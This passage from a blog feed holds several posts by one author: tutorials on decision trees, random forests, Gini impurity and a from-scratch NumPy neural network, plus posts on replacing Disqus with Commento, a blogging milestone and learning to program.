Let’s keep it going and try to make a third decision node. We’ll use the right branch from the root node this time. The only datapoints in that branch are the 3 greens.

Again, we try all the possible splits, but they all

Are equally good.
Have a Gini Gain of 0 (the Gini Impurity was already 0 and can’t go any lower).

It doesn’t makes sense to add a decision node here because doing so wouldn’t improve our decision tree. Thus, we’ll make this node a leaf node and slap the Green label on it. This means that we’ll classify any datapoint that reaches this node as Green.

If we continue to the 2 remaining nodes, the same thing will happen: we’ll make the bottom left node our Blue leaf node, and we’ll make the bottom right node our Red leaf node. That brings us to the final result:

Once all possible branches in our decision tree end in leaf nodes, we’re done. We’ve trained a decision tree!

3. Random Forests 🌲🌳🌲🌳🌲

We’re finally ready to talk about Random Forests. Remember what I said earlier?

A Random Forest is actually just a bunch of Decision Trees bundled together.

That’s true, but is a bit of a simplification.

3.1 Bagging

Consider the following algorithm to train a bundle of decision trees given a dataset of $n$ points:

Sample, with replacement, $n$ training examples from the dataset.
Train a decision tree on the $n$ samples.
Repeat $t$ times, for some $t$ .

To make a prediction using this model with $t$ trees, we aggregate the predictions from the individual decision trees and either

Take the majority vote if our trees produce class labels (like colors).
Take the average if our trees produce numerical values (e.g. when predicting temperature, price, etc).

This technique is called bagging, or bootstrap aggregating. The sampling with replacement we did is known as a bootstrap sample.

Bagged decision trees are very close to Random Forests - they’re just missing one thing…

3.2 Bagging → Random Forest

Bagged decision trees have only one parameter: $t$ , the number of trees.

Random Forests have a second parameter that controls how many features to try when finding the best split. Our simple dataset for this tutorial only had $2$ features ( $x$ and $y$ ), but most datasets will have far more (hundreds or thousands).

Suppose we had a dataset with $p$ features. Instead of trying all features every time we make a new decision node, we only try a subset of the features, usually of size $\sqrt{p}$ or $\frac{p}{3}$ . We do this primarily to inject randomness that makes individual trees more unique and reduces correlation between trees, which improves the forest’s performance overall. This technique is sometimes referred to as feature bagging.

4. Now What?

That’s a beginner’s introduction to Random Forests! A quick recap of what we did:

Introduced decision trees, the building blocks of Random Forests.
Learned how to train decision trees by iteratively making the best split possible.
Defined Gini Impurity, a metric used to quantify how “good” a split is.
Saw that a random forest = a bunch of decision trees.
Understood how bagging combines predictions from multiple trees.
Learned that feature bagging is the difference between bagged decision trees and a random forest.

A few things you could do from here:

Read about Information Gain, a metric similar to Gini Impurity that can also be used to quantify how “good” a split is.
Experiment with scikit-learn’s DecisionTreeClassifier and RandomForestClassifier classes on real datasets.
Try writing a simple Decision Tree or Random Forest implementation from scratch. I’m happy to give guidance or code review! Just tweet at me or email me.
Read about Gradient Boosted Decision Trees and play with XGBoost, a powerful gradient boosting library.
Read about ExtraTrees, an extension of Random Forests, or play with scikit-learn’s ExtraTreesClassifier class.

That concludes this tutorial. Thanks for reading!

Why I Replaced Disqus and You Should Too

Mon, 01 Apr 2019 12:00:00 GMT

When I started this blog, I used Disqus for comments on posts. This was a natural choice: I’d seen sites use Disqus all over the internet, it was easy to setup, and they had a free tier. I happily integrated Disqus and moved on.

Here’s the thing: I’ve always known that using Disqus came at the cost of some page bloat. I’ve written about web performance before and generally strive to make my pages fast, but I just assumed having Disqus was worth the bit of extra weight. My logic: If Disqus were really so bloated, everyone would’ve migrated away from them by now. Surely Disqus prioritizes keeping their payload reasonably small, right?

I was wrong. Last week, I finally did what I should’ve done at the beginning: benchmark it myself. Here are my results (benchmarked on my Webpack post):

Adding Disqus increased my page weight by over 10x and my request count by over 6x. That’s ridiculous! I immediately started looking to replace Disqus - web performance is important.

An Alternative: Commento

Disclaimer: I am not being compensated for this post, nor am I affiliated with Commento in anyway. I’m simply a satisfied customer.

A while back, I saw a Hacker News post about a fast, privacy-focused alternative to Disqus called Commento. Having learned my lesson, I benchmarked Commento before committing to it:

What a difference. Commento is orders of magnitude lighter than Disqus.

It gets even better. Here are more reasons I was sold on Commento:

It’s open source and can be self-hosted.
It’s privacy focused - it doesn’t sell user data and tries to collect as little as possible. This is especially nice given that my blog’s audience is probably more privacy-conscious than the average internet user.
You can pay what you want. Disqus’s free tier is ad-supported, and its cheapest paid tier is $9/month. Commento is actually cheaper (if you want it to be)!
It’s configurable. If you scroll down to the comments of this post, you’ll see that the styling of the Commento integration matches the styling of the rest of the site.
It has an Import from Disqus tool that’s easy to use. I was able to quickly migrate all of my old Disqus comments to Commento.

Commento works great for me, but I’m not trying to say it’s the right solution for everyone - there are several good, lightweight commenting platforms out there.

Are you still using Disqus? Did you know how much bloat it adds to your page? What’s keeping you from switching?

A Simple Explanation of Gini Impurity

Fri, 29 Mar 2019 12:00:00 GMT

If you look at the documentation for the DecisionTreeClassifier class in scikit-learn, you’ll see something like this for the criterion parameter:

The RandomForestClassifier documentation says the same thing. Both mention that the default criterion is “gini” for the Gini Impurity. What is that?!

TLDR: Read the Recap.

Decision Trees 🌲

Training a decision tree consists of iteratively splitting the current data into two branches. Say we had the following datapoints:

Right now, we have 1 branch with 5 blues and 5 greens.

Let’s make a split at $x = 2$ :

This is a perfect split! It breaks our dataset perfectly into two branches:

Left branch, with 5 blues.
Right branch, with 5 greens.

What if we’d made a split at $x = 1.5$ instead?

This imperfect split breaks our dataset into these branches:

Left branch, with 4 blues.
Right branch, with 1 blue and 5 greens.

It’s obvious that this split is worse, but how can we quantify that?

Being able to measure the quality of a split becomes even more important if we add a third class, reds . Imagine the following split:

Branch 1, with 3 blues, 1 green, and 1 red.
Branch 2, with 3 greens and 1 red.

Compare that against this split:

Branch 1, with 3 blues, 1 green, and 2 reds.
Branch 2, with 3 greens.

Which split is better? It’s no longer immediately obvious. We need a way to quantitatively evaluate how good a split is.

Gini Impurity

This is where the Gini Impurity metric comes in.

Suppose we

Randomly pick a datapoint in our dataset, then
Randomly classify it according to the class distribution in the dataset. For our dataset, we’d classify it as blue $\frac{5}{10}$ of the time and as green $\frac{5}{10}$ of the time, since we have 5 datapoints of each color.

What’s the probability we classify the datapoint incorrectly? The answer to that question is the Gini Impurity.

Example 1: The Whole Dataset

Let’s calculate the Gini Impurity of our entire dataset. If we randomly pick a datapoint, it’s either blue (50%) or green (50%).

Now, we randomly classify our datapoint according to the class distribution. Since we have 5 of each color, we classify it as blue 50% of the time and as green 50% of the time.

What’s the probability we classify our datapoint incorrectly?

Event	Probability
Pick Blue, Classify Blue ✓	25%
Pick Blue, Classify Green ❌	25%
Pick Green, Classify Blue ❌	25%
Pick Green, Classify Green ✓	25%

We only classify it incorrectly in 2 of the events above. Thus, our total probability is 25% + 25% = 50%, so the Gini Impurity is $\boxed{0.5}$ .

The Formula

If we have $C$ total classes and $p(i)$ is the probability of picking a datapoint with class $i$ , then the Gini Impurity is calculated as

G = \sum_{i=1}^C p(i) * (1 - p(i))

For the example above, we have $C = 2$ and $p(1) = p(2) = 0.5$ , so

\begin{aligned} G &= p(1) * (1 - p(1)) + p(2) * (1 - p(2)) \\ &= 0.5 * (1 - 0.5) + 0.5 * (1 - 0.5) \\ &= \boxed{0.5} \\ \end{aligned}

which matches what we calculated!

Example 2: A Perfect Split

Let’s go back to the perfect split we had. What are the Gini Impurities of the two branches after the split?

Left Branch has only blues, so its Gini Impurity is

G_{left} = 1 * (1 - 1) + 0 * (1 - 0) = \boxed{0}

Right Branch has only greens, so its Gini Impurity is

G_{right} = 0 * (1 - 0) + 1 * (1 - 1) = \boxed{0}

Both branches have $0$ impurity! The perfect split turned a dataset with $0.5$ impurity into 2 branches with $0$ impurity.

A Gini Impurity of 0 is the lowest and best possible impurity. It can only be achieved when everything is the same class (e.g. only blues or only greens).

Example 3: An Imperfect Split

Finally, let’s return to our imperfect split.

Left Branch has only blues, so we know that $G_{left} = \boxed{0}$ .

Right Branch has 1 blue and 5 greens, so

\begin{aligned} G_{right} &= \frac{1}{6} * (1 - \frac{1}{6}) + \frac{5}{6} * (1 - \frac{5}{6}) \\ &= \frac{5}{18} \\ &= \boxed{0.278} \\ \end{aligned}

Picking The Best Split

It’s finally time to answer the question we posed earlier: how can we quantitatively evaluate the quality of a split?

Here’s the imperfect split yet again:

We’ve already calculated the Gini Impurities for:

Before the split (the entire dataset): $0.5$
Left Branch: $0$
Right Branch: $0.278$

We’ll determine the quality of the split by weighting the impurity of each branch by how many elements it has. Since Left Branch has 4 elements and Right Branch has 6, we get:

(0.4 * 0) + (0.6 * 0.278) = 0.167

Thus, the amount of impurity we’ve “removed” with this split is

0.5 - 0.167 = \boxed{0.333}

I’ll call this value the Gini Gain. This is what’s used to pick the best split in a decision tree! Higher Gini Gain = Better Split. For example, it’s easy to verify that the Gini Gain of the perfect split on our dataset is $0.5 > 0.333$ .

Recap

Gini Impurity is the probability of incorrectly classifying a randomly chosen element in the dataset if it were randomly labeled according to the class distribution in the dataset. It’s calculated as

G = \sum_{i=1}^C p(i) * (1 - p(i))

where $C$ is the number of classes and $p(i)$ is the probability of randomly picking an element of class $i$ .

When training a decision tree, the best split is chosen by maximizing the Gini Gain, which is calculated by subtracting the weighted impurities of the branches from the original impurity.

Want to learn more? Check out my explanation of Information Gain, a similar metric to Gini Gain, or my guide Random Forests for Complete Beginners.

My First 50 Days of Blogging

Mon, 25 Mar 2019 12:00:00 GMT

Why?

I started this blog at the beginning of last month (February 2019) because

I wanted to become a better writer.
I felt like I had some interesting/useful things to say.
I’d sold both of my main side projects and wanted a new challenge.
I didn’t like the old victorzhou.com and had been itching to rewrite it for a while.
I wanted to learn more about and get firsthand experience with SEO.

The Numbers

On February 4, I published my first blog post and started my journey. Since then, I’ve

Published 6 blog posts.
Gotten 70k+ pageviews.
Received 600+ subscribers to my newsletter.

Today is March 25, which is my blog’s 50th day! 🎉

Here’s a graph of my blog’s pageviews since its beginning:

The two spikes are both from my posts reaching the front page of Hacker News: first my Javascript bug post and then my Neural Networks post.

Here are all 6 blog posts ranked by number of pageviews:

Page	Pageviews
/blog/intro-to-neural-networks/	36,453
/blog/a-javascript-bug-i-had-once/	6,675
/blog/properly-size-images/	3,721
/blog/how-i-became-a-programmer/	2,122
/blog/why-you-should-use-webpack/	1,753
/blog/better-profanity-detection-with-scikit-learn/	1,331

Goals for Year One

I’m going to keep blogging! During Year One, I’m aiming to

Publish 50 blog posts.
Get a million pageviews.
Grow my newsletter to 10,000 subscribers.

Are these goals pretty ambitious? Definitely. I’ve got a long way to go and a lot of work to do. But I might as well aim high, right?

Anyways - a huge thank you to my readers from the past two months! See you all on February 4, 2020 for the Year One recap, where I’ll look back at this post and see if I hit my goals. 🎯

If you’re curious on my progress since this post, read my 6 months recap.

How I Became a Programmer

Thu, 14 Mar 2019 12:00:00 GMT

It all started when I was 12 years old. 👶

Back in those days, my friends and I all played Runescape, a popular browser-based MMORPG. Those who’ve played Runescape will remember that it requires lots of grinding - the “best” players were the ones who spent the most time killing monsters and leveling up. Unfortunately, my parents didn’t let me play much - all of my friends had passed level 50 by the time I reached level 30. This level gap was all I worried about day and night because nobody wants to play with someone 20 levels below them somewhat frustrating.

The obvious solution was to

Make a better version of Runescape that required less grinding, and then
Convince millions of players to play my version instead.

With this foolproof 2-step plan in place, I set out to complete Step 1. I remember googling ”How was Runescape made,” reading that it was built in Java, and then googling ”How to code in Java.” Over the next 20 minutes, I would come to realize that learning Java on your own as a 12-year-old is not that easy. Thus, I made the brilliant decision to pivot: I would now make a better version of Runescape without writing any code. I’ll just skip the parts that require coding, I thought. This way, I’ll finish it faster, too. See? Brilliant.

I ended up actually finding a way to make games without writing code: GameMaker. I downloaded it and began making simple, codeless games. One of my favorite memories from middle school was bringing a USB loaded with a Space Invaders-style game I’d made to the computer lab and passing it around between my friends. That proud feeling of seeing people use something I built has been driving me ever since.

Despite my ambitions, I eventually realized that you can’t actually do much without writing code. Luckily, GameMaker supported a proprietary programming language called the GameMaker Language (GML) that had lots of examples and tutorials for it online. I reluctantly decided to learn a bit of GML so I could make more advanced games (read: Runescape). Those were my first if statements and for loops! That’s right. My first programming language was GML. 😲

Ever since those first few lines of GML, I’ve been hooked. In 9th grade, I began making iOS apps and competing in programming competitions. Out of high school, I landed my first software engineering internship and started more seriously pursuing a career in tech. In college, I got into web development and sold my first website.

To summarize: I’ve spent a decade learning and building and still haven’t taken down Runescape 😡. I guess everyone has their white whale…

Machine Learning for Beginners: An Introduction to Neural Networks

Sun, 03 Mar 2019 12:00:00 GMT

2026 Update: this is still one of my most popular posts after all these years, and also one of my personal favorites. Reading this will help you build foundational intuition for more complex systems like LLMs!

Here’s something that might surprise you: neural networks aren’t that complicated! The term “neural network” gets used as a buzzword a lot, but in reality they’re often much simpler than people imagine.

This post is intended for complete beginners and assumes ZERO prior knowledge of machine learning. We’ll understand how neural networks work while implementing one from scratch in Python.

Let’s get started!

1. Building Blocks: Neurons

First, we have to talk about neurons, the basic unit of a neural network. A neuron takes inputs, does some math with them, and produces one output. Here’s what a 2-input neuron looks like:

3 things are happening here. First, each input is multiplied by a weight:

x_1 \rightarrow x_1 * w_1

x_2 \rightarrow x_2 * w_2

Next, all the weighted inputs are added together with a bias $b$ :

(x_1 * w_1) + (x_2 * w_2) + b

Finally, the sum is passed through an activation function:

y = f(x_1 * w_1 + x_2 * w_2 + b)

The activation function is used to turn an unbounded input into an output that has a nice, predictable form. A commonly used activation function is the sigmoid function:

The sigmoid function only outputs numbers in the range $(0, 1)$ . You can think of it as compressing $(-\infty, +\infty)$ to $(0, 1)$ - big negative numbers become ~ $0$ , and big positive numbers become ~ $1$ .

A Simple Example

Assume we have a 2-input neuron that uses the sigmoid activation function and has the following parameters:

w = [0, 1]

b = 4

$w = [0, 1]$ is just a way of writing $w_1 = 0, w_2 = 1$ in vector form. Now, let’s give the neuron an input of $x = [2, 3]$ . We’ll use the dot product to write things more concisely:

\begin{aligned} (w \cdot x) + b &= ((w_1 * x_1) + (w_2 * x_2)) + b \\ &= 0 * 2 + 1 * 3 + 4 \\ &= 7 \\ \end{aligned}

y = f(w \cdot x + b) = f(7) = \boxed{0.999}

The neuron outputs $0.999$ given the inputs $x = [2, 3]$ . That’s it! This process of passing inputs forward to get an output is known as feedforward.

Coding a Neuron

Time to implement a neuron! We’ll use NumPy, a popular and powerful computing library for Python, to help us do math:

import numpy as np

def sigmoid(x):
  # Our activation function: f(x) = 1 / (1 + e^(-x))
  return 1 / (1 + np.exp(-x))

class Neuron:
  def __init__(self, weights, bias):
    self.weights = weights
    self.bias = bias

  def feedforward(self, inputs):
    # Weight inputs, add bias, then use the activation function
    total = np.dot(self.weights, inputs) + self.bias
    return sigmoid(total)

weights = np.array([0, 1]) # w1 = 0, w2 = 1
bias = 4                   # b = 4
n = Neuron(weights, bias)

x = np.array([2, 3])       # x1 = 2, x2 = 3
print(n.feedforward(x))    # 0.9990889488055994

Recognize those numbers? That’s the example we just did! We get the same answer of $0.999$ .

2. Combining Neurons into a Neural Network

A neural network is nothing more than a bunch of neurons connected together. Here’s what a simple neural network might look like:

This network has 2 inputs, a hidden layer with 2 neurons ( $h_1$ and $h_2$ ), and an output layer with 1 neuron ( $o_1$ ). Notice that the inputs for $o_1$ are the outputs from $h_1$ and $h_2$ - that’s what makes this a network.

A hidden layer is any layer between the input (first) layer and output (last) layer. There can be multiple hidden layers!

An Example: Feedforward

Let’s use the network pictured above and assume all neurons have the same weights $w = [0, 1]$ , the same bias $b = 0$ , and the same sigmoid activation function. Let $h_1, h_2, o_1$ denote the outputs of the neurons they represent.

What happens if we pass in the input $x = [2, 3]$ ?

\begin{aligned} h_1 = h_2 &= f(w \cdot x + b) \\ &= f((0 * 2) + (1 * 3) + 0) \\ &= f(3) \\ &= 0.9526 \\ \end{aligned}

\begin{aligned} o_1 &= f(w \cdot [h_1, h_2] + b) \\ &= f((0 * h_1) + (1 * h_2) + 0) \\ &= f(0.9526) \\ &= \boxed{0.7216} \\ \end{aligned}

The output of the neural network for input $x = [2, 3]$ is $0.7216$ . Pretty simple, right?

A neural network can have any number of layers with any number of neurons in those layers. The basic idea stays the same: feed the input(s) forward through the neurons in the network to get the output(s) at the end. For simplicity, we’ll keep using the network pictured above for the rest of this post.

Coding a Neural Network: Feedforward

Let’s implement feedforward for our neural network. Here’s the image of the network again for reference:

import numpy as np

# ... code from previous section here

class OurNeuralNetwork:
  '''
  A neural network with:
    - 2 inputs
    - a hidden layer with 2 neurons (h1, h2)
    - an output layer with 1 neuron (o1)
  Each neuron has the same weights and bias:
    - w = [0, 1]
    - b = 0
  '''
  def __init__(self):
    weights = np.array([0, 1])
    bias = 0

    # The Neuron class here is from the previous section
    self.h1 = Neuron(weights, bias)
    self.h2 = Neuron(weights, bias)
    self.o1 = Neuron(weights, bias)

  def feedforward(self, x):
    out_h1 = self.h1.feedforward(x)
    out_h2 = self.h2.feedforward(x)

    # The inputs for o1 are the outputs from h1 and h2
    out_o1 = self.o1.feedforward(np.array([out_h1, out_h2]))

    return out_o1

network = OurNeuralNetwork()
x = np.array([2, 3])
print(network.feedforward(x)) # 0.7216325609518421

We got $0.7216$ again! Looks like it works.

3. Training a Neural Network, Part 1

Say we have the following measurements:

Name	Weight (lb)	Height (in)	Gender
Alice	133	65	F
Bob	160	72	M
Charlie	152	70	M
Diana	120	60	F

Let’s train our network to predict someone’s gender given their weight and height:

We’ll represent Male with a $0$ and Female with a $1$ , and we’ll also shift the data to make it easier to use:

Name	Weight (minus 135)	Height (minus 66)	Gender
Alice	-2	-1	1
Bob	25	6	0
Charlie	17	4	0
Diana	-15	-6	1

I arbitrarily chose the shift amounts ( $135$ and $66$ ) to make the numbers look nice. Normally, you’d shift by the mean.

Loss

Before we train our network, we first need a way to quantify how “good” it’s doing so that it can try to do “better”. That’s what the loss is.

We’ll use the mean squared error (MSE) loss:

\text{MSE} = \frac{1}{n} \sum_{i=1}^n (y_{true} - y_{pred})^2

Let’s break this down:

$n$ is the number of samples, which is $4$ (Alice, Bob, Charlie, Diana).
$y$ represents the variable being predicted, which is Gender.
$y_{true}$ is the true value of the variable (the “correct answer”). For example, $y_{true}$ for Alice would be $1$ (Female).
$y_{pred}$ is the predicted value of the variable. It’s whatever our network outputs.

$(y_{true} - y_{pred})^2$ is known as the squared error. Our loss function is simply taking the average over all squared errors (hence the name mean squared error). The better our predictions are, the lower our loss will be!

Better predictions = Lower loss.

Training a network = trying to minimize its loss.

An Example Loss Calculation

Let’s say our network always outputs $0$ - in other words, it’s confident all humans are Male 🤔. What would our loss be?

Name	$y_{true}$	$(y_{true} - y_{pred})^2$
Alice	1	1
Bob	0	0
Charlie	0	0
Diana	1	1

\text{MSE} = \frac{1}{4} (1 + 0 + 0 + 1) = \boxed{0.5}

Code: MSE Loss

Here’s some code to calculate loss for us:

import numpy as np

def mse_loss(y_true, y_pred):
  # y_true and y_pred are numpy arrays of the same length.
  return ((y_true - y_pred) ** 2).mean()

y_true = np.array([1, 0, 0, 1])
y_pred = np.array([0, 0, 0, 0])

print(mse_loss(y_true, y_pred)) # 0.5

If you don't understand why this code works, read the NumPy quickstart on array operations.

Nice. Onwards!

4. Training a Neural Network, Part 2

We now have a clear goal: minimize the loss of the neural network. We know we can change the network’s weights and biases to influence its predictions, but how do we do so in a way that decreases loss?

This section uses a bit of multivariable calculus. If you’re not comfortable with calculus, feel free to skip over the math parts.

For simplicity, let’s pretend we only have Alice in our dataset:

Name	Weight (minus 135)	Height (minus 66)	Gender
Alice	-2	-1	1

Then the mean squared error loss is just Alice’s squared error:

\begin{aligned} \text{MSE} &= \frac{1}{1} \sum_{i=1}^1 (y_{true} - y_{pred})^2 \\ &= (y_{true} - y_{pred})^2 \\ &= (1 - y_{pred})^2 \\ \end{aligned}

Another way to think about loss is as a function of weights and biases. Let’s label each weight and bias in our network:

Then, we can write loss as a multivariable function:

L(w_1, w_2, w_3, w_4, w_5, w_6, b_1, b_2, b_3)

Imagine we wanted to tweak $w_1$ . How would loss $L$ change if we changed $w_1$ ? That’s a question the partial derivative $\frac{\partial L}{\partial w_1}$ can answer. How do we calculate it?

Here’s where the math starts to get more complex. Don’t be discouraged! I recommend getting a pen and paper to follow along - it’ll help you understand.

To start, let’s rewrite the partial derivative in terms of $\frac{\partial y_{pred}}{\partial w_1}$ instead:

\frac{\partial L}{\partial w_1} = \frac{\partial L}{\partial y_{pred}} * \frac{\partial y_{pred}}{\partial w_1}

This works because of the Chain Rule.

We can calculate $\frac{\partial L}{\partial y_{pred}}$ because we computed $L = (1 - y_{pred})^2$ above:

\frac{\partial L}{\partial y_{pred}} = \frac{\partial (1 - y_{pred})^2}{\partial y_{pred}} = \boxed{-2(1 - y_{pred})}

Now, let’s figure out what to do with $\frac{\partial y_{pred}}{\partial w_1}$ . Just like before, let $h_1, h_2, o_1$ be the outputs of the neurons they represent. Then

y_{pred} = o_1 = f(w_5h_1 + w_6h_2 + b_3)

f is the sigmoid activation function, remember?

Since $w_1$ only affects $h_1$ (not $h_2$ ), we can write

\frac{\partial y_{pred}}{\partial w_1} = \frac{\partial y_{pred}}{\partial h_1} * \frac{\partial h_1}{\partial w_1}

\frac{\partial y_{pred}}{\partial h_1} = \boxed{w_5 * f'(w_5h_1 + w_6h_2 + b_3)}

More Chain Rule.

We do the same thing for $\frac{\partial h_1}{\partial w_1}$ :

h_1 = f(w_1x_1 + w_2x_2 + b_1)

\frac{\partial h_1}{\partial w_1} = \boxed{x_1 * f'(w_1x_1 + w_2x_2 + b_1)}

You guessed it, Chain Rule.

$x_1$ here is weight, and $x_2$ is height. This is the second time we’ve seen $f'(x)$ (the derivate of the sigmoid function) now! Let’s derive it:

f(x) = \frac{1}{1 + e^{-x}}

f'(x) = \frac{e^{-x}}{(1 + e^{-x})^2} = f(x) * (1 - f(x))

We’ll use this nice form for $f'(x)$ later.

We’re done! We’ve managed to break down $\frac{\partial L}{\partial w_1}$ into several parts we can calculate:

\boxed{\frac{\partial L}{\partial w_1} = \frac{\partial L}{\partial y_{pred}} * \frac{\partial y_{pred}}{\partial h_1} * \frac{\partial h_1}{\partial w_1}}

This system of calculating partial derivatives by working backwards is known as backpropagation, or “backprop”.

Phew. That was a lot of symbols - it’s alright if you’re still a bit confused. Let’s do an example to see this in action!

Example: Calculating the Partial Derivative

We’re going to continue pretending only Alice is in our dataset:

Name	Weight (minus 135)	Height (minus 66)	Gender
Alice	-2	-1	1

Let’s initialize all the weights to $1$ and all the biases to $0$ . If we do a feedforward pass through the network, we get:

\begin{aligned} h_1 &= f(w_1x_1 + w_2x_2 + b_1) \\ &= f(-2 + -1 + 0) \\ &= 0.0474 \\ \end{aligned}

h_2 = f(w_3x_1 + w_4x_2 + b_2) = 0.0474

\begin{aligned} o_1 &= f(w_5h_1 + w_6h_2 + b_3) \\ &= f(0.0474 + 0.0474 + 0) \\ &= 0.524 \\ \end{aligned}

The network outputs $y_{pred} = 0.524$ , which doesn’t strongly favor Male ( $0$ ) or Female ( $1$ ). Let’s calculate $\frac{\partial L}{\partial w_1}$ :

\frac{\partial L}{\partial w_1} = \frac{\partial L}{\partial y_{pred}} * \frac{\partial y_{pred}}{\partial h_1} * \frac{\partial h_1}{\partial w_1}

\begin{aligned} \frac{\partial L}{\partial y_{pred}} &= -2(1 - y_{pred}) \\ &= -2(1 - 0.524) \\ &= -0.952 \\ \end{aligned}

\begin{aligned} \frac{\partial y_{pred}}{\partial h_1} &= w_5 * f'(w_5h_1 + w_6h_2 + b_3) \\ &= 1 * f'(0.0474 + 0.0474 + 0) \\ &= f(0.0948) * (1 - f(0.0948)) \\ &= 0.249 \\ \end{aligned}

\begin{aligned} \frac{\partial h_1}{\partial w_1} &= x_1 * f'(w_1x_1 + w_2x_2 + b_1) \\ &= -2 * f'(-2 + -1 + 0) \\ &= -2 * f(-3) * (1 - f(-3)) \\ &= -0.0904 \\ \end{aligned}

\begin{aligned} \frac{\partial L}{\partial w_1} &= -0.952 * 0.249 * -0.0904 \\ &= \boxed{0.0214} \\ \end{aligned}

Reminder: we derived $f'(x) = f(x) * (1 - f(x))$ for our sigmoid activation function earlier.

We did it! This tells us that if we were to increase $w_1$ , $L$ would increase a tiiiny bit as a result.

Training: Stochastic Gradient Descent

We have all the tools we need to train a neural network now! We’ll use an optimization algorithm called stochastic gradient descent (SGD) that tells us how to change our weights and biases to minimize loss. It’s basically just this update equation:

w_1 \leftarrow w_1 - \eta \frac{\partial L}{\partial w_1}

$\eta$ is a constant called the learning rate that controls how fast we train. All we’re doing is subtracting $\eta \frac{\partial L}{\partial w_1}$ from $w_1$ :

If $\frac{\partial L}{\partial w_1}$ is positive, $w_1$ will decrease, which makes $L$ decrease.
If $\frac{\partial L}{\partial w_1}$ is negative, $w_1$ will increase, which makes $L$ decrease.

If we do this for every weight and bias in the network, the loss will slowly decrease and our network will improve.

Our training process will look like this:

Choose one sample from our dataset. This is what makes it stochastic gradient descent - we only operate on one sample at a time.
Calculate all the partial derivatives of loss with respect to weights or biases (e.g. $\frac{\partial L}{\partial w_1}$ , $\frac{\partial L}{\partial w_2}$ , etc).
Use the update equation to update each weight and bias.
Go back to step 1.

Let’s see it in action!

Code: A Complete Neural Network

It’s finally time to implement a complete neural network:

Name	Weight (minus 135)	Height (minus 66)	Gender
Alice	-2	-1	1
Bob	25	6	0
Charlie	17	4	0
Diana	-15	-6	1

import numpy as np

def sigmoid(x):
  # Sigmoid activation function: f(x) = 1 / (1 + e^(-x))
  return 1 / (1 + np.exp(-x))

def deriv_sigmoid(x):
  # Derivative of sigmoid: f'(x) = f(x) * (1 - f(x))
  fx = sigmoid(x)
  return fx * (1 - fx)

def mse_loss(y_true, y_pred):
  # y_true and y_pred are numpy arrays of the same length.
  return ((y_true - y_pred) ** 2).mean()

class OurNeuralNetwork:
  '''
  A neural network with:
    - 2 inputs
    - a hidden layer with 2 neurons (h1, h2)
    - an output layer with 1 neuron (o1)

  *** DISCLAIMER ***:
  The code below is intended to be simple and educational, NOT optimal.
  Real neural net code looks nothing like this. DO NOT use this code.
  Instead, read/run it to understand how this specific network works.
  '''
  def __init__(self):
    # Weights
    self.w1 = np.random.normal()
    self.w2 = np.random.normal()
    self.w3 = np.random.normal()
    self.w4 = np.random.normal()
    self.w5 = np.random.normal()
    self.w6 = np.random.normal()

    # Biases
    self.b1 = np.random.normal()
    self.b2 = np.random.normal()
    self.b3 = np.random.normal()

  def feedforward(self, x):
    # x is a numpy array with 2 elements.
    h1 = sigmoid(self.w1 * x[0] + self.w2 * x[1] + self.b1)
    h2 = sigmoid(self.w3 * x[0] + self.w4 * x[1] + self.b2)
    o1 = sigmoid(self.w5 * h1 + self.w6 * h2 + self.b3)
    return o1

  def train(self, data, all_y_trues):
    '''
    - data is a (n x 2) numpy array, n = # of samples in the dataset.
    - all_y_trues is a numpy array with n elements.
      Elements in all_y_trues correspond to those in data.
    '''
    learn_rate = 0.1
    epochs = 1000 # number of times to loop through the entire dataset

    for epoch in range(epochs):
      for x, y_true in zip(data, all_y_trues):
        # --- Do a feedforward (we'll need these values later)
        sum_h1 = self.w1 * x[0] + self.w2 * x[1] + self.b1
        h1 = sigmoid(sum_h1)

        sum_h2 = self.w3 * x[0] + self.w4 * x[1] + self.b2
        h2 = sigmoid(sum_h2)

        sum_o1 = self.w5 * h1 + self.w6 * h2 + self.b3
        o1 = sigmoid(sum_o1)
        y_pred = o1

        # --- Calculate partial derivatives.
        # --- Naming: d_L_d_w1 represents "partial L / partial w1"
        d_L_d_ypred = -2 * (y_true - y_pred)

        # Neuron o1
        d_ypred_d_w5 = h1 * deriv_sigmoid(sum_o1)
        d_ypred_d_w6 = h2 * deriv_sigmoid(sum_o1)
        d_ypred_d_b3 = deriv_sigmoid(sum_o1)

        d_ypred_d_h1 = self.w5 * deriv_sigmoid(sum_o1)
        d_ypred_d_h2 = self.w6 * deriv_sigmoid(sum_o1)

        # Neuron h1
        d_h1_d_w1 = x[0] * deriv_sigmoid(sum_h1)
        d_h1_d_w2 = x[1] * deriv_sigmoid(sum_h1)
        d_h1_d_b1 = deriv_sigmoid(sum_h1)

        # Neuron h2
        d_h2_d_w3 = x[0] * deriv_sigmoid(sum_h2)
        d_h2_d_w4 = x[1] * deriv_sigmoid(sum_h2)
        d_h2_d_b2 = deriv_sigmoid(sum_h2)

        # --- Update weights and biases
        # Neuron h1
        self.w1 -= learn_rate * d_L_d_ypred * d_ypred_d_h1 * d_h1_d_w1
        self.w2 -= learn_rate * d_L_d_ypred * d_ypred_d_h1 * d_h1_d_w2
        self.b1 -= learn_rate * d_L_d_ypred * d_ypred_d_h1 * d_h1_d_b1

        # Neuron h2
        self.w3 -= learn_rate * d_L_d_ypred * d_ypred_d_h2 * d_h2_d_w3
        self.w4 -= learn_rate * d_L_d_ypred * d_ypred_d_h2 * d_h2_d_w4
        self.b2 -= learn_rate * d_L_d_ypred * d_ypred_d_h2 * d_h2_d_b2

        # Neuron o1
        self.w5 -= learn_rate * d_L_d_ypred * d_ypred_d_w5
        self.w6 -= learn_rate * d_L_d_ypred * d_ypred_d_w6
        self.b3 -= learn_rate * d_L_d_ypred * d_ypred_d_b3

      # --- Calculate total loss at the end of each epoch
      if epoch % 10 == 0:
        y_preds = np.apply_along_axis(self.feedforward, 1, data)
        loss = mse_loss(all_y_trues, y_preds)
        print("Epoch %d loss: %.3f" % (epoch, loss))

# Define dataset
data = np.array([
  [-2, -1],  # Alice
  [25, 6],   # Bob
  [17, 4],   # Charlie
  [-15, -6], # Diana
])
all_y_trues = np.array([
  1, # Alice
  0, # Bob
  0, # Charlie
  1, # Diana
])

# Train our neural network!
network = OurNeuralNetwork()
network.train(data, all_y_trues)

You can run / play with this code yourself. It’s also available on Github.

Our loss steadily decreases as the network learns:

We can now use the network to predict genders:

# Make some predictions
emily = np.array([-7, -3]) # 128 pounds, 63 inches
frank = np.array([20, 2])  # 155 pounds, 68 inches
print("Emily: %.3f" % network.feedforward(emily)) # 0.951 - F
print("Frank: %.3f" % network.feedforward(frank)) # 0.039 - M

Now What?

You made it! A quick recap of what we did:

Introduced neurons, the building blocks of neural networks.
